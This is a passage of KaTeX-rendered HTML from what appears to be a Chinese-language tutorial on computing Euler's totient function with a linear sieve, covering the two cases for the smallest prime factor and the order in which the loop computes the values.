style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span><br>此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的所有質因數皆亦為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mo>∏</mo><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><msub><mi>p</mi><mi>i</mi></msub></mfrac></mrow><mo fence="true">)</mo></mrow><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>∏</mo><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><msub><mi>p</mi><mi>i</mi></msub></mfrac></mrow><mo fence="true">)</mo></mrow><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)=n\prod\left({1-\frac{1}{p_i}}\right)=p_nn^\prime\prod\left({1-\frac{1}{p_i}}\right)=p_n\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∏</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∏</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>情形二：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span><br>此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>互質，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msub><mi>p</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>p</mi><mi>n</mi></msub><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)=\phi(p_n)\phi(n^\prime)=(p_n-1)\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>我們知道線性篩能夠將每個數都標記一次(看他是質數 / 合數)，因此我們多加一個步驟：在標記同時記錄那個數的歐拉函數值是多少。<br>和之前相同，我們用<code>i</code>乘以質數表中的數字<code>p</code>來生成出所有的合數。<br>最後一個問題是，我們要確定在計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>已經算好了，解釋也很簡單<br>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，所以「計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>」發生在迴圈中<code>i</code>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>時。<br>我們再來看<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>是在何時被算出來的。<br>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>為合數，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的最小質因數至少為2，故<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>必定在迴圈執行到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mo stretchy="false">⌈</mo><mfrac><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mn>2</mn></mfrac><mo stretchy="false">⌉</mo><mo>≤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">i=\lceil\frac{n^\prime}{2}\rceil\leq n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3185em;vertical-align:-0.345em;"></span><span class="mopen">⌈</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9735em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8278em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌉</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>之前就算出來了。<br>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>為質數，則我們只要讓<code>i</code>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>時，先計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo><mo>=</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\phi(n^\prime)=n^\prime-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，再計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，就能保證<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span 